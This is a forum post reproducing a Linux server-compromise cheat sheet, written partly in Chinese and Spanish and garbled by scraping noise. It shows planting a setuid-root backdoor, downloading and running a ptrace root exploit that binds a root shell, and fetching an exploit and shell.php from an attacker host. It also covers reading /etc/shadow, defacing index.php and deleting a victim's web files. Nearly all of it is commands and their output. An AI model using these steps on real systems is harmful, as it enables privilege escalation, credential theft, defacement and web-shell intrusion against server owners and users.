- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< ><FONT color=#ff0000>by:cnbird</FONT></P>. _0 j* E8 F$ K* D. f2 _* `( |
< >1.</P>
- m. V; y" j/ M* w- H" K- R< >[cnbird@localhost tmp]#id</P>5 m+ O/ C7 D9 P6 A' I4 s+ I
< >uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
6 d# C4 R( A! x7 C' u1 i3 I8 S7 E< >[cnbird@localhost tmp]#cp `which id ` .</P>
Q* D+ Y! k2 X7 G# u! _ d! p< >[cnbird@localhost tmp]#chown root ./id</P>9 C( |, N( ~ o8 |: V3 ?; g
< >[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>! v0 o8 J; l! g, u5 K% V; Q" ]8 `
< >[cnbird@localhost tmp]#ls -l ./id</P>/ S+ L" j8 d3 Q4 z% |
< >-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
2 M$ l B) a6 S* h S0 b< >[cnbird@localhost tmp]#exit</P>7 L& X3 ~% @* M# D' P
< >[cnbird@localhost tmp]$id</P>' ~( l- E( ^" j( b$ ~
< >uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>1 Y/ R# r0 F1 V1 O% e
< >[cnbird@localhost tmp]$./id </P>
/ z9 J$ X( W1 { ?# @* t1 B< >uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P># n' D$ I. T$ ~: d7 I
< >2.利用ptrace成为root的方法</P>
. i8 e0 A' c3 ]" t$ ~< >[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace( z; i/ }: e6 w, c
-> Parent's PID is 2313. Child's PID is 2314.1 n8 y& }9 U* N
-> Attaching to 2315...3 Y4 M( y9 d' u9 E6 `0 D& Q
-> Got the thread!!
) {( M& X, n I/ H, S* l% k& I-> Waiting for the next signal...
- ~( k; e1 Q3 r( @-> Injecting shellcode at 0x4000e85d
1 v3 }9 d6 D7 } `-> Bind root shell on port 24876... =p
8 L( N7 c& z. u! W/ u3 W-> Detached from modprobe thread.
1 N" a$ }; F8 f& |1 N7 i; q-> Committing suicide.....</P>
, y. j! c* |! {8 t/ d: |# e< >[bash]# id: p! G0 H2 v! V! Q7 B$ D6 Z) s1 V4 p* T
uid=0(root) gid=0(root) groups=0(root)</P>
7 t& f7 }) e; q4 Q* H< > ara ver los dominios que hay en el server:
- a W* o: l i, e4 U---------------------------------------------------------
) O2 b4 C# D+ j0 ?% T" Scat /etc/httpd/conf/httpd.conf|grep ServerName << Solo salen los dominios* `/ x/ s3 T+ a. B# q6 W& U5 _
cat /etc/httpd/conf/httpd.conf << Unicamente los puros dominios
9 J9 ~( O- d; ~+ k9 v" Scat /etc/localdomains << Unicamente los dominios locales5 h2 |" ` U0 |2 f2 d
cat /etc/trueuserdomains << Revela los verdades propietarios de cada dominio
* f& c& R1 N+ s* Hcat /etc/userdomains << Este es el mas comun% I) w8 q! j5 { K( E# R
---------------------------------------------------------</P>& O/ t7 G3 i6 I
< > ara ver la version de kernel:
; |8 [/ t0 P$ V0 {% n3 \---------------------------------------------------------
8 k0 u* q Y! w; b- R/ U }9 S7 Duname -a <<Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
& N5 ?! R$ N; x# p---------------------------------------------------------</P>; P# [# K. T6 r( y
< > ara modificar un index ya existente:
0 m& }3 K0 A: d, `: `---------------------------------------------------------
, ?& J6 C! H+ gecho "RootBox was OwNz You">index.php <<sobreescribe el archivo index.php con nuevo contenido1 E) Q/ w; ~5 L* }1 w9 V/ J8 j
---------------------------------------------------------</P>
; H$ g3 ]8 r( r' h* f* Z* b< > ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
6 q5 F1 q# v4 b. s$ q2 B( _---------------------------------------------------------3 e) S. ~% b3 Q/ v: W
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> <<aqui subimos el exploit
+ U. s1 `! s# V F& V, e4 bcd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado" % E* e# N2 X: X! x0 ~
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
! G% L) v: Y* z; k$ I; q+ A( scd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". 7 m4 @2 }: u$ c* y/ m4 ]) E
Hasta aqui termina el proceso para un exploit.8 ]. |' p# P% J
---------------------------------------------------------</P>( F9 O6 s B& G6 h- H
< >Ver las contraseñas encriptadas de todos los usuarios:
7 l9 w0 N: \3 g& W( ?# j---------------------------------------------------------& c/ c" ^& c: X% ?# T5 ?
cat /etc/shadow <<Solo funciona si tienes permisos como root.
; L1 i0 g/ C! N5 Z3 _- @: m$ [) H5 u---------------------------------------------------------</P>
" b. j+ F& s6 Q0 `< >Borrar un Ficher
3 Y( D# q" w$ V" f% q---------------------------------------------------------
F5 S7 x# x, M9 vcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm<<aqui estan borrando con el comando rm, el fichero import.htm$ @' P p8 k" M3 T" q% A
---------------------------------------------------------</P>: U. a* V+ | N) m9 O: N
< >Subir un ficher
# n" h" O4 _* h7 `9 r2 s+ N---------------------------------------------------------
) \& M# a7 M/ j5 W- r4 jcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php<<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php<<Estamos</FONT></A> subiendo el fichero shell.php</P>7 d! N" F: J) F- o
< >
8 i1 x# a0 B! P, D0 Z a9 [<CENTER></CENTER> |
zan
|